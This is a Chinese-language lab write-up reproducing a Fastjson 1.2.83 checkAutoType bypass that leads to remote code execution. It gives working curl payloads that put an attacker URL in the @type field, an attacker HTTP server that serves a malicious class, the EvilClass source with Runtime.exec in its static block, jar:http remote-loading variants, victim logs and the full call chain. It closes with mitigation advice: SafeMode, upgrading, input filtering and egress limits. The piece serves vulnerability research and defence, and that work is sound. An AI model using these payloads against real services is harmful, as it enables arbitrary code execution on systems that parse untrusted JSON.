Fastjson 1.2.83 checkAutoType 绕过 RCE 复现总结
Fastjson 1.2.83最新RCE
1. 复现结论
本次实验成功复现了 Fastjson 1.2.83 在 AutoType=false、SafeMode=false 条件下,通过 @type 协议前缀绕过 checkAutoType 黑名单,并借助可解析远程资源的 ClassLoader 加载攻击者提供的恶意 class,最终触发远程代码执行的过程。
2. 实验环境
项目 | 内容 |
操作系统 | Windows 10 / Windows 11 环境 |
JDK | 本机 Java 环境 |
Fastjson |
|
受害服务 |
|
受害端端口 |
|
攻击端 HTTP 服务 | Python HTTP Server |
攻击端端口 |
|
恶意类 |
|
恶意行为 |
|
3. 复现步骤
3.1 启动攻击端 HTTP 服务
攻击端用于提供恶意 class 文件:
python attacker_http_server.py 9999攻击端目录中需要存在:
..\attacker-server\serve\com\evil\EvilClass.class当受害端触发漏洞时,攻击端会收到类似请求:
GET /com/evil/EvilClass.class HTTP/1.13.2 启动受害端服务
使用已重新打包的 HTTP-capable 受害端:
java -jar victim-server-http.jar启动成功后输出:
Victim Server Started
Port: 8080
Fastjson: 1.2.83
AutoType: false
SafeMode: false
ClassLoader: com.victim.VictimServer$RemoteHttpClassLoader其中关键点是:
ClassLoader: com.victim.VictimServer$RemoteHttpClassLoader该 ClassLoader 用于模拟网传提到的“能够解析绝对 URL 资源名”的 Spring Boot Loader / fat-jar ClassLoader 行为。
3.3 发送 payload
curl -X POST http://192.168.9.44:8080/parse -H "Content-Type: application/json" -d "{\"@type\":\"http:..localhost:9999.com.evil.EvilClass\"}"成功返回:
Parsed OK: com.evil.EvilClass4. 成功日志
受害端关键日志如下:
[Victim] Received: {"@type":"http:..localhost:9999.com.evil.EvilClass"}
[RemoteLoader] getResourceAsStream: http://localhost:9999/com/evil/EvilClass.class
[RemoteLoader] fetched 1554 bytes from http://localhost:9999/com/evil/EvilClass.class
[RemoteLoader] loadClass: http:..localhost:9999.com.evil.EvilClass
[RemoteLoader] resource : http://localhost:9999/com/evil/EvilClass.class
[RemoteLoader] defined : com.evil.EvilClass
[!!!] RCE via static initializer: calc.exe
[!!!] EvilClass constructor executed - RCE successful!
[Victim] Result: Parsed OK: com.evil.EvilClass执行结果:
AutoType和SafeMode均为未开启状态
5. 漏洞利用原理
5.1 Payload
本次使用的 payload:
{"@type":"http:..localhost:9999.com.evil.EvilClass"}@type 是 Fastjson AutoType 机制使用的特殊字段。即使全局 AutoType=false,Fastjson 在解析 @type 时仍会进入 ParserConfig.checkAutoType() 的部分检查逻辑。
5.2 点号替换为资源路径
Fastjson 在 checkAutoType() 中会把类名转换为 class 资源路径,逻辑类似:
String resource = typeName.replace('.', '/') + ".class";因此:
http:..localhost:9999.com.evil.EvilClass会被转换为:
http://localhost:9999/com/evil/EvilClass.class这一步就是协议前缀绕过的关键。
5.3 黑名单绕过
Fastjson 1.x 的 checkAutoType 黑名单主要基于 Java 包名前缀做匹配,例如:
com.sun.
java.rmi.
javax.naming.
org.apache.commons.collections.而 payload 以:
http:开头,不命中这些传统危险包名前缀,因此能够绕过黑名单检查,继续进入资源探测逻辑。
5.4 远程 ClassLoader 加载
本次成功复现的核心差异在于使用了:
com.victim.VictimServer$RemoteHttpClassLoader它能够处理:
http://localhost:9999/com/evil/EvilClass.class并通过 HTTP 请求从攻击端获取 class 字节码。
普通 AppClassLoader 不会主动通过 HTTP 加载这个资源,所以之前测试时虽然绕过了黑名单,但由于没有拿到 class 字节码,最终仍然报错:
autoType is not support. http:..localhost:9999.com.evil.EvilClass因此需要明确区分:
阶段 | 结果 |
黑名单绕过 | 已成功 |
远程 class 获取 | 依赖 ClassLoader,普通 AppClassLoader 失败 |
早返回 | 只有 class 成功加载后才会触发 |
RCE | 依赖恶意类被实例化或初始化 |
看一个环境是否具备这个关键条件,核心不是看中间件名字,而是验证这两个行为:
ClassLoader cl = Thread.currentThread().getContextClassLoader();
InputStream is = cl.getResourceAsStream(
"http://attacker:9999/com/evil/EvilClass.class"
);或:
InputStream is = cl.getResourceAsStream(
"jar:http://attacker:9999/evil.jar!/com/evil/EvilClass.class"
);
jar资源加载

JAR URL 更有价值
直接 HTTP class:
http://attacker/com/evil/EvilClass.class依赖 ClassLoader 直接支持远程 .class 资源。
JAR URL:
jar:http://attacker/evil.jar!/com/evil/EvilClass.class利用的是 JDK 标准 JarURLConnection 逻辑:
远程下载 JAR
-> 缓存到临时文件
-> 从 JAR 中读取 class entry改为URL请求jar资源


IP的.的转换问题
而在本地复现的时候因为. 会被转换成/,所以直接修改成IP请求的时候会报错
可以用十进制或者本地host模拟实际攻击域名
curl -X POST http://192.168.9.44:8080/parse -H "Content-Type: application/json" -d "{\"@type\":\"http:..attacker:9999.com.evil.EvilClass\"}"
curl -X POST http://192.168.9.44:8080/parse -H "Content-Type: application/json" -d "{\"@type\":\"http:..3232237868:9999.com.evil.EvilClass\"}"
5.5 @JSONType 早返回
恶意类定义如下:
@JSONType
public class EvilClass {
static {
Runtime.getRuntime().exec("calc.exe");
}
public EvilClass() {
System.out.println("EvilClass constructor executed");
}
}Fastjson 加载到该类后,会检测到 @JSONType 注解,并在部分类型兼容性检查之前直接返回该 class。
这就是网传中提到的“@JSONType 早返回”问题。
5.6 RCE 触发点
恶意代码执行发生在两个位置:
- 静态代码块:class 被加载 / 初始化时执行
- 无参构造函数:Fastjson 反序列化实例化对象时执行
本次日志中可以看到二者都执行了:
[!!!] RCE via static initializer: calc.exe
[!!!] EvilClass constructor executed - RCE successful!6. 完整调用链
curl POST /parse
-> VictimServer.ParseHandler.handle()
-> JSON.parseObject(json, Object.class, FASTJSON_CONFIG, JSON.DEFAULT_PARSER_FEATURE)
-> DefaultJSONParser.parseObject()
-> ParserConfig.checkAutoType("http:..localhost:9999.com.evil.EvilClass", Object.class, features)
-> 黑名单检查未命中
-> typeName.replace('.', '/') + ".class"
-> http://localhost:9999/com/evil/EvilClass.class
-> ClassLoader.getResourceAsStream(resource)
-> RemoteHttpClassLoader 发起 HTTP GET
-> 攻击端返回 EvilClass.class 字节码
-> ClassLoader.loadClass(typeName)
-> RemoteHttpClassLoader.defineClass()
-> 定义 com.evil.EvilClass
-> 检测到 @JSONType
-> 返回 com.evil.EvilClass
-> JavaBeanDeserializer.deserialize()
-> 初始化 / 实例化 EvilClass
-> static block 执行 calc.exe
-> constructor 执行7. 服务classloader适配
RemoteHttpClassLoader用于模拟支持绝对 URL 资源解析的 ClassLoader 行为。实际服务中间件需要有能解析URL资源的classloader。
8. 与网传利用链的关系
本次复现验证了网传中的核心利用原理:
网传描述 | 本次复现 |
协议前缀绕过黑名单 | 已验证 |
形成远程资源路径 | 已验证 |
ClassLoader 可解析远程 URL 资源名 | 通过 模拟验证 |
远程获取带 的恶意 class | 已验证 |
早返回绕过类型兼容性检查 | 已验证 |
反序列化实例化触发 RCE | 已验证 |
Spring Boot Loader / 高级链 | 本实验未完整复现,仅模拟关键 ClassLoader 能力 |
因此,本次实验属于网传完整链路中的“核心原语验证 + 远程 class 加载模拟复现”。
网传中更高级的真实生产链还包括:
- Spring Boot fat-jar Loader 对绝对 URL 资源名的处理
jar:http://...远程 JAR 缓存(已模拟)- Linux
/proc/self/fd/N文件描述符复用 - JDK 17 / 21 / 25 下的多阶段 payload
本实验没有完整实现 /proc/self/fd 多阶段链,但已经验证了该漏洞成立所依赖的关键机制。
需要对应服务的classloader支持远程加载URL资源,如jar:http://...等。
9. 防护建议
9.1 首选修复
升级到 Fastjson 2.x。
9.2 立即缓解
启用 SafeMode:
ParserConfig.getGlobalInstance().setSafeMode(true);或 JVM 参数:
-Dfastjson.parser.safeMode=true
java -Dfastjson.parser.safeMode=true -jar victim-server-http.jarSafeMode 会在资源探测之前阻断 @type 处理流程。
开启前后对比
无URL请求,执行失败

默认未开启,执行成功

9.3 输入侧防护
拦截 JSON 中的特殊类型字段:
@type
\u0040type
\x40type不要只匹配明文 @type,因为 Fastjson lexer 会先解码字段名。
9.4 运行时防护
- 禁止业务 JVM 非必要出网
- 限制容器访问
/proc/self/fd - 审计 ClassLoader 是否支持
http://、https://、jar:、file:等绝对资源名 - 监控 JVM 临时目录异常
jar_cache*文件
10. 总结
本次复现证明:
AutoType=false并不等价于绝对安全。@type仍可进入checkAutoType的 class 元数据探测逻辑。http:..形式可以绕过传统包名前缀黑名单。- 点号替换会把攻击者输入变成远程 class 资源路径。
- 如果 ClassLoader 能解析远程 URL,就能从攻击端获取恶意 class。
- 带
@JSONType的恶意 class 会触发早返回,绕过类型兼容性检查。 - class 初始化或反序列化实例化阶段可以执行任意代码。
最终攻击链可以概括为:
可控 JSON @type
- -> checkAutoType 协议前缀绕过
- -> 构造远程 .class 资源路径
- -> ClassLoader 远程加载恶意 class
- -> @JSONType 早返回
- -> 反序列化实例化 / 初始化
- -> Runtime.exec("calc.exe")
行文仓促,若有问题,感谢各位师傅指出,谢谢~
补充一点:我这里环境是jdk11。
真实环境中该漏洞并不是“只要 fastjson 1.2.83 就必然 RCE”。许多网传的是
单发 jar:http 链能否从资源探测升级为代码执行,关键取决于执行 JSON.parse 的线程实际使用的 ClassLoader,尤其是 TCCL 是否为可解析远程 JAR URL 的LaunchedURLClassLoader。
很多生产环境中请求线程可能被 Tomcat/Jetty WebAppClassLoader、网关、RPC 或线程池包装,导致远程 JAR 无法加载,最终只表现为失败、普通解析或 SSRF。因此测试环境中中通过手动设置 TCCL / 自定义线程 / 自定义 ClassLoader “扶了一把”能够打通,不等价于真实环境默认必然可利用;风险判断必须同时看 ClassLoader、JDK 版本、出网、SafeMode 和业务解析入口。